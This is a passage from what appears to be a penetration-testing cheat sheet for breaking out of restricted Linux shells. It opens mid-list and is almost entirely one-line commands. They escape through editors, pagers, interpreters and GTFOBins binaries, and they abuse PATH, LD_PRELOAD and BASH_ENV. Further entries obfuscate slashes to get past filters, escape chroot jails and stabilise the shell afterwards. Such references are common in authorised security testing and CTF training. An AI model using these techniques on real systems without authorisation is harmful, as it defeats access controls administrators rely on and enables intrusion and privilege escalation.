:set shell=/bin/bash → :shell  
nano → Ctrl+T → bash # Spell check = cmd exec  
ed → !/bin/bash  
emacs → M-x shell

STEP 4 — PAGERS
─────────────────────────────────────────────────────────────────

less file → !bash  
more file → !bash  
man man → !bash (uses less internally)

STEP 5 — LANGUAGES
─────────────────────────────────────────────────────────────────

python3 -c 'import os;os.system("/bin/bash")'  
perl -e 'exec "/bin/bash";'  
ruby -e 'exec "/bin/bash"'  
php -r 'system("/bin/bash");'  
lua -e 'os.execute("/bin/bash")'  
awk 'BEGIN {system("/bin/bash")}'  
node -e 'require("child_process").spawn("/bin/bash",{stdio:})'

STEP 6 — GTFOBins
─────────────────────────────────────────────────────────────────

find . -exec /bin/bash ; -quit  
tar --checkpoint-action=exec=/bin/bash ...  
nmap --interactive → !sh (old nmap)  
git log → (less opens) → !bash  
gdb → shell  
mysql → ! bash  
ftp → !bash  
expect -c 'spawn bash; interact'  
screen /bin/bash

STEP 7 — SSH OVERRIDE
─────────────────────────────────────────────────────────────────

ssh user@host -t bash  
ssh user@host -t "bash --noprofile"  
ssh user@host -t "/bin/bash"

STEP 8 — ENVIRONMENT ABUSE
─────────────────────────────────────────────────────────────────

export PATH=/tmp:$PATH → place bash in /tmp → bash  
export LD_PRELOAD=/tmp/evil.so → any command → bash  
BASH_ENV=/tmp/.bashenv bash → bash runs file at startup

SLASH BYPASS TRICKS
─────────────────────────────────────────────────────────────────

/???/bash Glob: matches /bin/bash  
/bin/?ash Glob: matches /bin/bash or /bin/dash  
$'\x2f'bin$'\x2f'bash Hex slash  
$'\057'bin$'\057'bash Octal slash  
sep='/'; ${sep}bin${sep}bash Variable slash

CHROOT JAIL ESCAPE (Need Root in Jail)
─────────────────────────────────────────────────────────────────

cd /proc/1/root && chroot . bash # Via /proc  
Compile C escape → mkdir+chdir+chroot trick  
fd = open("/"); chroot("."); fchdir(fd); chroot(".")

AFTER ESCAPE — STABILIZE
─────────────────────────────────────────────────────────────────

python3 -c 'import pty;pty.spawn("/bin/bash")'  
Ctrl+Z → stty raw -echo → fg  
export TERM=xterm && stty rows 40 cols 180  
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

← Linux top ↑